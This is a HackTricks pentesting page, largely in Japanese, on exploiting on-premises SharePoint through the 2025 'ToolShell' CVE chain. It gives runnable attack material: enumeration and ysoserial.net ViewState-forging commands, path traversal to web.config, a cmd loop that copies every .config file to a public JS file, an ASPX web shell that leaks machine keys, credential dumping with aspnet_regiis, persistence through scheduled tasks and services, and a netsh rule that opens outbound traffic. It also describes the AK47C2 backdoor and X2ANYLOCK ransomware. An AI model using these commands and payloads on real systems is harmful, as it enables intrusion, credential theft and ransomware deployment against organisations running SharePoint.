Microsoft SharePoint – Pentesting & Exploitation
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Microsoft SharePoint(on-premises)はASP.NET/IIS上に構築されています。そのため、古典的なweb攻撃面(ViewState、Web.Config、web shellsなど)のほとんどが存在しますが、SharePointは数百の独自ASPXページとwebサービスを同梱しており、公開される攻撃面を劇的に拡大します。このページは、SharePoint環境内をenumerate、exploit、persistするための実用的なトリックを集めており、Unit42が公開した2025年のexploit chain(CVE-2025-49704/49706/53770/53771)に重点を置いています。
1. Quick enumeration
# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
# interesting standard paths
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx
# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
2. 2025 exploit chain (a.k.a. “ToolShell”)
2.1 CVE-2025-49704 – Code Injection on ToolPane.aspx
/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload> はページに任意の Server-Side Include コードを注入できるようにし、そのコードは後で ASP.NET によってコンパイルされます。攻撃者は Process.Start() を実行する C# を埋め込み、悪意のある ViewState を配置できます。
2.2 CVE-2025-49706 – Improper Authentication Bypass
同じページはサイトコンテキストを判別するために X-Forms_BaseUrl ヘッダを信頼します。これを /_layouts/15/ に向けることで、ルートサイトで強制されている MFA/SSO を unauthenticated の状態でバイパスできます。
2.3 CVE-2025-53770 – Unauthenticated ViewState Deserialization → RCE
攻撃者が ToolPane.aspx 内のガジェットを制御すると、unsigned(または MAC のみ)の __VIEWSTATE を投稿して、w3wp.exe 内で .NET の deserialization を引き起こしコード実行に至らせることができます。
If signing is enabled, steal the ValidationKey/DecryptionKey from any web.config (see 2.4) and forge the payload with ysoserial.net or ysodom:
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
For an in-depth explanation on abusing ASP.NET ViewState read:
Exploiting __VIEWSTATE without knowing the secrets
2.4 CVE-2025-53771 – Path Traversal / web.config Disclosure
Source パラメータに細工した値を ToolPane.aspx に送信する(例: ../../../../web.config)と、対象ファイルが返され、以下が漏洩する可能性がある:
<machineKey validationKey="…" decryptionKey="…">➜ ViewState / ASPXAUTH cookies を偽造可能にする- connection strings & secrets
2.5 ToolShell workflow observed in Ink Dragon intrusions
Check Point は、Microsoft が修正を出す数か月前に Ink Dragon が ToolShell チェーンをどのように運用していたかをマッピングした:
- Header spoofing for auth bypass – 攻撃者は
/_layouts/15/ToolPane.aspxに対してReferer: https://<victim>/_layouts/15/と偽のX-Forms_BaseUrlを付けた POST を送信する。これらのヘッダにより SharePoint はリクエストが信頼された layout から発生したと判断し、フロントドアの認証を完全にスキップする(CVE-2025-49706/CVE-2025-53771)。 - Serialized gadget in the same request – ボディには攻撃者が制御する ViewState/ToolPart データが含まれ、脆弱なサーバー側フォーマッタに到達する(CVE-2025-49704/CVE-2025-53770)。ペイロードは通常 ysoserial.net のチェーンで、
w3wp.exe内でディスクに触れることなく実行される。 - Internet-scale scanning – 2025年7月のテレメトリでは、到達可能な全ての
/_layouts/15/ToolPane.aspxエンドポイントを列挙し、leaked<machineKey>ペアの辞書をリプレイしていたことが示されている。ドキュメントからサンプルのvalidationKeyをコピーしたサイトは、他が完全にパッチ済みであっても侵害され得る(署名ワークフローについては ViewState ページ参照)。 - Immediate staging – 成功した侵害はローダーや PowerShell ステージャを設置し、(1) 全ての
web.configをダンプ、(2) 退避用の ASPX webshell を植え付け、(3) IIS ワーカーからの脱出のためにローカルで Potato privesc をスケジュールする、という流れになる。
3. Post-exploitation recipes observed in the wild
3.1 Exfiltrate every .config file (variation-1)
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
生成された debug_dev.js は匿名でダウンロードでき、すべての機密設定が含まれています。
3.2 Base64-encoded ASPX web shell (variation-2) の展開
powershell.exe -EncodedCommand <base64>
デコード済み payload の例(短縮):
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>
書き込み先:
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
The shell exposes endpoints to マシンキーの読み取り/ローテーション which allows forging ViewState and ASPXAUTH cookies across the farm.
3.3 Obfuscated variant (variation-3)
同じシェルだが:
- 次のディレクトリに配置:
...\15\TEMPLATE\LAYOUTS\ - 変数名が単一文字に短縮されている
Thread.Sleep(<ms>)がサンドボックス回避とタイミングベースの AV バイパスのために追加されている。
3.4 AK47C2 multi-protocol backdoor & X2ANYLOCK ransomware (observed 2025-2026)
最近のインシデント対応調査(Unit42 “Project AK47”)は、攻撃者が ToolShell チェーンを初期 RCE の後に活用して、SharePoint 環境にデュアルチャネルの C2 インプラントとランサムウェアを展開する様子を示している:
AK47C2 – dnsclient variant
- ハードコードされた DNS サーバ:
10.7.66.10が権威ドメインupdate.updatemicfosoft.comと通信する。 - メッセージは JSON オブジェクトで、静的キー
VHBD@Hによって XOR 暗号化され、hex エンコードされて サブドメインラベル として埋め込まれる。
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
- 長いクエリはチャンク化され、
sをプレフィックスしてからサーバ側で再構成される。 - サーバは同じ XOR/hex スキームを使用した TXT レコードで応答する:
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
- Version 202504 では簡易フォーマット
<COMMAND>::<SESSION_KEY>とチャンクマーカー1,2,aが導入された。
AK47C2 – httpclient variant
- 同じ JSON と XOR ルーチンを再利用するが、hex ブロブを
libcurl(CURLOPT_POSTFIELDS, etc.) 経由でHTTP POST ボディに送信する。 - 同じタスク/結果のワークフローにより以下を実現する:
- 任意のシェルコマンド実行。
- 動的なスリープ間隔やキルスイッチ指示。
X2ANYLOCK ransomware
- DLL side-loading を通じてロードされる 64-bit の C++ ペイロード(下記参照)。
- ファイルデータに AES-CBC を使用し、AES キーを RSA-2048 でラップした後、拡張子
.x2anylockを付与する。 - ローカルドライブおよび検出された SMB 共有を再帰的に暗号化し、システムパスはスキップする。
- 交渉用の静的な Tox ID を埋め込んだ平文のメモ
How to decrypt my data.txtをドロップする。 - 内部に kill-switch を含む:
if (file_mod_time >= "2026-06-06") exit(0);
DLL side-loading chain
- 攻撃者は正当な
7z.exeの隣にdllhijacked.dll/My7zdllhijacked.dllを書き込む。 - SharePoint によって起動された
w3wp.exeが7z.exeを起動し、Windows の検索順のために悪意のある DLL をロードしてメモリ内でランサムウェアのエントリポイントを呼び出す。 - 別の LockBit ローダー(
bbb.msi➜clink_x86.exe➜clink_dll_x86.dll)がシェルコードを復号し、LockBit 3.0 を実行するためにd3dl1.dllへの DLL hollowing を行うのが観察された。
[!INFO] X2ANYLOCK で見つかった同じ静的 Tox ID が leaked LockBit databases にも現れており、アフィリエイトの重複を示唆している。
3.5 Turning SharePoint loot into lateral movement
- すべての保護されたセクションを復号する – web tier に足を踏み入れたら、
aspnet_regiis.exe -px "connectionStrings" C:\\temp\\conn.xml -pri(または-px "appSettings")を悪用して<connectionStrings configProtectionProvider="RsaProtectedConfigurationProvider">の背後にある平文のシークレットをダンプする。Ink Dragon はこの方法で繰り返し SQL ログイン、SMTP リレー、カスタムサービスの資格情報を収集した。 - app-pool アカウントをファーム間で再利用する – 多くの企業は全てのフロントエンドで
IIS APPPOOL\SharePointに同じドメインアカウントを再利用している。identity impersonate="..."ブロックを復号化したりApplicationHost.configを読み取った後、その資格情報を SMB/RDP/WinRM 経由ですべての兄弟サーバに対してテストする。複数の事案でそのアカウントはローカル管理者でもあり、psexec、sc create、またはスケジュールタスクでのステージングをパスワードスプレーを起こさずに可能にした。 - Abuse leaked
<machineKey>values internally – インターネット境界がパッチされても、同じvalidationKey/decryptionKeyを再利用すると、相互に信頼する内部の SharePoint ゾーン間での ViewState 横移動攻撃を許してしまう。
3.6 Persistence patterns witnessed in 2025 intrusions
- Scheduled tasks –
SYSCHECK(またはその他のヘルス関連名)というワンショットタスクが/ru SYSTEM /sc once /st <hh:mm>で作成され、次段階ローダ(一般的にはリネームされたconhost.exe)をブートストラップする。ワンショットで実行されるため、履歴のタスク XML が保存されていない限りテレメトリは見逃すことが多い。 - Masqueraded services –
WindowsTempUpdate、WaaSMaintainer、MicrosoftTelemetryHostなどのサービスが sideloading triad ディレクトリを指すsc createでインストールされる。バイナリは元の AMD/Realtek/NVIDIA の署名を保持しているが、Windows コンポーネントに合わせて名前を変更している; on-disk 名と PE フィールドのOriginalFileNameを比較するのが簡易的な整合性チェックになる。
3.7 Host firewall downgrades for relay traffic
Ink Dragon は定期的に Defender のメンテナンスを装った許可的なアウトバウンドルールを追加し、ShadowPad/FinalDraft のトラフィックが任意のポートで外部へ出られるようにする:
netsh advfirewall firewall add rule name="Microsoft MsMpEng" dir=out action=allow program="C:\ProgramData\Microsoft\Windows Defender\MsMpEng.exe" enable=yes profile=any
そのルールはローカルで作成され(GPO経由ではなく)、正当な Defender バイナリを program= として使用するため、多くの SOC ベースラインはこれを無視しますが、それでも Any ➜ Any egress を開きます。
関連トリック
- IIS post-exploitation & web.config abuse:
IIS - Internet Information Services
参考
- Unit42 – Active Exploitation of Microsoft SharePoint Vulnerabilities
- GitHub PoC – ToolShell exploit chain
- Microsoft Security Advisory – CVE-2025-49704 / 49706
- Unit42 – Project AK47 / SharePoint Exploitation & Ransomware Activity
- Microsoft Security Advisory – CVE-2025-53770 / 53771
- Check Point Research – Inside Ink Dragon: Revealing the Relay Network and Inner Workings of a Stealthy Offensive Operation
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。


